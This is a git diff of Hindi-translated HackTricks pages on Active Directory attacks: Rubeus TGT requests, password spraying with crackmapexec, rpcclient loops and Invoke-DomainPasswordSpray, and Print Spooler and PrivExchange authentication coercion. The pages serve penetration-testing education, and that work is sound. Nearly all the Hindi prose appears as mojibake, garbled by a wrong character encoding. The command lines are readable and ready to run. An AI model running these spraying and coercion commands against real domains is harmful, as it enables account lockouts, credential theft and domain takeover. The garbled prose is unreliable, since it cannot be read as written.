рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рд╛рдкреНрдд рдЯрд┐рдХрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ smbexec.py рдпрд╛ wmiexec.py рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓реЗ рдХреЗ рджрд╛рдпрд░реЗ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реЛрддрд╛ рд╣реИред -_ PyAsn1Error _ рдпрд╛ _ KDC cannot find the name _ рдЬреИрд╕реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рдЖрдорддреМрд░ рдкрд░ Impacket рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдХреЗ рдпрд╛ IP рдкрддреЗ рдХреЗ рдмрдЬрд╛рдп рд╣реЛрд╕реНрдЯрдиреЗрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Kerberos KDC рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддреА рд╣реИред +_ PyAsn1Error_ рдпрд╛ _KDC cannot find the name_ рдЬреИрд╕реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рдЖрдорддреМрд░ рдкрд░ Impacket рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдХреЗ рдпрд╛ IP рдкрддреЗ рдХреЗ рдмрдЬрд╛рдп рд╣реЛрд╕реНрдЯрдиреЗрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Kerberos KDC рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддреА рд╣реИред Rubeus.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХрдорд╛рдВрдб рдЕрдиреБрдХреНрд░рдо рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдПрдХ рдФрд░ рдкрд╣рд▓реВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ: ```bash @@ -30,9 +30,16 @@ Rubeus.exe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╡реИрдХрд▓реН ```bash .\Rubeus.exe asktgt /user: /domain: /aes256:HASH /nowrap /opsec ``` -## рд╕рдВрджрд░реНрдн +## Stealthier version + +> [!WARNING] +> рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдореЗрдВ рдПрдХ рд╕рдордп рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рд╕рдХреНрд░рд┐рдп TGT рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВред + +1. Cobalt Strike рд╕реЗ **`make_token`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдмрдирд╛рдПрдВред +2. рдлрд┐рд░, рдирдП рд▓реЙрдЧрд┐рди рд╕рддреНрд░ рдХреЗ рд▓рд┐рдП TGT рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Rubeus рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдмрд┐рдирд╛ рдореМрдЬреВрджрд╛ рд╕рддреНрд░ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд┐рдПред + +## References - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index d5fec298b..b0b62c5e6 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -2,14 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} + ## **Password Spraying** -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдХрдИ **рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рдвреВрдВрдв рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреНрд░рддреНрдпреЗрдХ рдЦреЛрдЬреЗ рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рд╕рдмрд╕реЗ **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд░реНрдпрд╛рд╡рд░рдг рдХреА рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ)ред\ +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдХрдИ **рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рдвреВрдВрдв рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреНрд░рддреНрдпреЗрдХ рдЦреЛрдЬреЗ рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рд╕рдмрд╕реЗ **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд░реНрдпрд╛рд╡рд░рдг рдХреА рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ)ред\ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд░реВрдк рд╕реЗ **рдиреНрдпреВрдирддрдо** **рдкрд╛рд╕рд╡рд░реНрдб** **рд▓рдВрдмрд╛рдИ** **7** рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪрд┐рдпрд╛рдБ рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдХреБрдЫ рдЦрд╛рддреЛрдВ рдХреЛ рд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рдХрдИ рдЧрд▓рдд рдкрд╛рд╕рд╡рд░реНрдб рдЖрдЬрдорд╛рддреЗ рд╣реИрдВ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 10 рд╕реЗ рдЕрдзрд┐рдХ)ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдХрдИ рдЧрд▓рдд рдкрд╛рд╕рд╡рд░реНрдб рдЖрдЬрд╝рдорд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдХреБрдЫ рдЦрд╛рддреЛрдВ рдХреЛ рд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 10 рд╕реЗ рдЕрдзрд┐рдХ)ред ### Get password policy @@ -30,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linux рд╕реЗ рд╢реЛрд╖рдг (рдпрд╛ рд╕рднреА) +### Linux (рдпрд╛ рд╕рднреА) рд╕реЗ рд╢реЛрд╖рдг - **crackmapexec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: ```bash @@ -55,7 +56,7 @@ spray.sh -smb ) @@ -66,9 +67,9 @@ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Windows рд╕реЗ +#### From Windows -- [Rubeus](https://github.com/Zer1t0/Rubeus) рдХреЗ рдмреНрд░реВрдЯ рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рд╕рдВрд╕реНрдХрд░рдг: +- With [Rubeus](https://github.com/Zer1t0/Rubeus) рд╕рдВрд╕реНрдХрд░рдг рдЬрд┐рд╕рдореЗрдВ рдмреНрд░реВрдЯ рдореЙрдбреНрдпреВрд▓ рд╣реИ: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +78,7 @@ done .\Rubeus.exe brute /passwords: /outfile: ``` - [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) рдХреЗ рд╕рд╛рде (рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдбреЛрдореЗрди рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдбреЛрдореЗрди рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдЧрд╛): -```powershell +```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) рдХреЗ рд╕рд╛рде @@ -90,11 +91,11 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ``` ## Outlook Web Access -p**assword spraying outlook** рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдХрд░рдг рд╣реИрдВред +Outlook рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдХрд░рдг рд╣реИрдВ p**assword spraying**. - With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- With [Ruler](https://github.com/sensepost/ruler) (рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп!) +- With [Ruler](https://github.com/sensepost/ruler) (reliable!) - With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 12eaff2a5..591f4099d 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -1,17 +1,17 @@ -# Force NTLM Privileged Authentication +# NTLM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдордЬрдмреВрд░ рдХрд░рдирд╛ {{#include ../../banners/hacktricks-training.md}} ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) рдПрдХ **рд╕рдВрдЧреНрд░рд╣** рд╣реИ **рджреВрд░рд╕реНрде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреНрд░рд┐рдЧрд░реНрд╕** рдХрд╛, рдЬрд┐рд╕реЗ C# рдореЗрдВ MIDL рдХрдВрдкрд╛рдЗрд▓рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ 3rd рдкрд╛рд░реНрдЯреА рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдбрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) рдПрдХ **рд╕рдВрдЧреНрд░рд╣** рд╣реИ **рджреВрд░рд╕реНрде рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреНрд░рд┐рдЧрд░реНрд╕** рдХрд╛, рдЬреЛ C# рдореЗрдВ MIDL рдХрдВрдкрд╛рдЗрд▓рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдбрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддрд╛рдХрд┐ 3rd рдкрд╛рд░реНрдЯреА рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред -## Spooler Service Abuse +## рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ -рдпрджрд┐ _**Print Spooler**_ рд╕реЗрд╡рд╛ **рд╕рдХреНрд░рд┐рдп** рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рдЬреНрдЮрд╛рдд AD рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ рдкреНрд░рд┐рдВрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ рдирдП рдкреНрд░рд┐рдВрдЯ рдЬреЙрдмреНрд╕ рдкрд░ рдПрдХ **рдЕрдкрдбреЗрдЯ** **рдЕрдиреБрд░реЛрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмрд╕ рдЗрд╕реЗ **рдХрд┐рд╕реА рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪрдирд╛ рднреЗрдЬрдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВред\ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм рдкреНрд░рд┐рдВрдЯрд░ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪрдирд╛ рднреЗрдЬрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЙрд╕ **рд╕рд┐рд╕реНрдЯрдо** рдХреЗ рдЦрд┐рд▓рд╛рдл **рдкреНрд░рдорд╛рдгрд┐рдд** рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ _**Print Spooler**_ рд╕реЗрд╡рд╛ рдХреЛ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рд╡рд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рд╕реЗрд╡рд╛ рдЗрд╕ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ **рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧреАред +рдпрджрд┐ _**рдкреНрд░рд┐рдВрдЯ рд╕реНрдкреВрд▓рд░**_ рд╕реЗрд╡рд╛ **рд╕рдХреНрд░рд┐рдп** рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рдЬреНрдЮрд╛рдд AD рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ рдкреНрд░рд┐рдВрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ рдирдП рдкреНрд░рд┐рдВрдЯ рдХрд╛рд░реНрдпреЛрдВ рдкрд░ **рдЕрдкрдбреЗрдЯ** рдХреЗ рд▓рд┐рдП **рдЕрдиреБрд░реЛрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмрд╕ рдЗрд╕реЗ **рдХрд┐рд╕реА рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪрдирд╛ рднреЗрдЬрдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВред\ +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм рдкреНрд░рд┐рдВрдЯрд░ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪрдирд╛ рднреЗрдЬрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдЙрд╕ **рд╕рд┐рд╕реНрдЯрдо** рдХреЗ рдЦрд┐рд▓рд╛рдл **рдкреНрд░рдорд╛рдгрд┐рдд** рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ _**рдкреНрд░рд┐рдВрдЯ рд╕реНрдкреВрд▓рд░**_ рд╕реЗрд╡рд╛ рдХреЛ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рд╡рд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рд╕реЗрд╡рд╛ рдЗрд╕ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ **рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧреАред -### Finding Windows Servers on the domain +### рдбреЛрдореЗрди рдкрд░ Windows рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛ PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, Windows рдмреЙрдХреНрд╕реЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред рд╕рд░реНрд╡рд░ рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдЗрдП рд╡рд╣реАрдВ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВ: ```bash @@ -30,7 +30,7 @@ rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` ### рд╕реЗрд╡рд╛ рдХреЛ рдХрд┐рд╕реА рдордирдорд╛рдиреЗ рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдВ -рдЖрдк [**SpoolSample рдХреЛ рдпрд╣рд╛рдВ рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** +рдЖрдк [**SpoolSample рдХреЛ рдпрд╣рд╛рдБ рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** ```bash SpoolSample.exe ``` @@ -43,7 +43,7 @@ printerbug.py 'domain/username:password'@ рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА [Unconstrained Delegation](unconstrained-delegation.md) рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рдЪреБрдХрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ **рдкреНрд░рд┐рдВрдЯрд░ рдХреЛ рдЗрд╕ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рд╡рд╛ рд╕рдХрддрд╛ рд╣реИ**ред рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рдХрд╛рд░рдг, **рдкреНрд░рд┐рдВрдЯрд░ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдХрд╛ TGT** **рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╡рд╛рд▓реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХреА** **рдореЗрдореЛрд░реА** рдореЗрдВ **рд╕рд╣реЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛**ред рдЪреВрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЗрд╕ рд╣реЛрд╕реНрдЯ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рдЪреБрдХрд╛ рд╣реИ, рд╡рд╣ **рдЗрд╕ рдЯрд┐рдХрдЯ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд** рдХрд░ рд╕рдХреЗрдЧрд╛ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛ ([Pass the Ticket](pass-the-ticket.md))ред -## RCP рдмрд▓ рдкреНрд░рдорд╛рдгреАрдХрд░рдг +## RCP рдмрд▓ рдкреНрд░рдорд╛рдгрди {{#ref}} https://github.com/p0dalirius/Coercer @@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -`PrivExchange` рд╣рдорд▓рд╛ **Exchange Server `PushSubscription` рдлреАрдЪрд░** рдореЗрдВ рдкрд╛рдП рдЧрдП рджреЛрд╖ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИред рдпрд╣ рдлреАрдЪрд░ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЬреЛ рдПрдХ рдореЗрд▓рдмреЙрдХреНрд╕ рд░рдЦрддрд╛ рд╣реИ, рдХреЛ HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рднреА рдХреНрд▓рд╛рдЗрдВрдЯ-рдкреНрд░рджрд╛рдирд┐рдд рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл Exchange рд╕рд░реНрд╡рд░ рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +`PrivExchange` рд╣рдорд▓рд╛ **Exchange Server `PushSubscription` рдлреАрдЪрд░** рдореЗрдВ рдкрд╛рдП рдЧрдП рджреЛрд╖ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИред рдпрд╣ рдлреАрдЪрд░ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЬреЛ рдПрдХ рдореЗрд▓рдмреЙрдХреНрд╕ рд░рдЦрддрд╛ рд╣реИ, рдХреЛ HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рднреА рдХреНрд▓рд╛рдЗрдВрдЯ-рдкреНрд░рджрд╛рдирд┐рдд рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл Exchange рд╕рд░реНрд╡рд░ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Exchange рд╕реЗрд╡рд╛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреА рд╣реИ** рдФрд░ рдЗрд╕реЗ рдЕрддреНрдпрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЗрд╕рдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдкреНрд░реА-2019 рд╕рдВрдЪрдпреА рдЕрдкрдбреЗрдЯ рдкрд░ WriteDacl рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ)ред рдЗрд╕ рджреЛрд╖ рдХрд╛ рдЙрдкрдпреЛрдЧ **LDAP рдХреЛ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬрдиреЗ рдФрд░ рдмрд╛рдж рдореЗрдВ рдбреЛрдореЗрди NTDS рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ LDAP рдХреЛ рд░рд┐рд▓реЗ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдЗрд╕ рджреЛрд╖ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рд░рд┐рд▓реЗ рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╢реЛрд╖рдг рдХрд░рдиреЗ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рддрдХ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИред +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Exchange рд╕реЗрд╡рд╛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреА рд╣реИ** рдФрд░ рдЗрд╕реЗ рдЕрддреНрдпрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЗрд╕рдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдкреНрд░реА-2019 рдХреНрдпреВрдореБрд▓реЗрдЯрд┐рд╡ рдЕрдкрдбреЗрдЯ рдкрд░ WriteDacl рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ)ред рдЗрд╕ 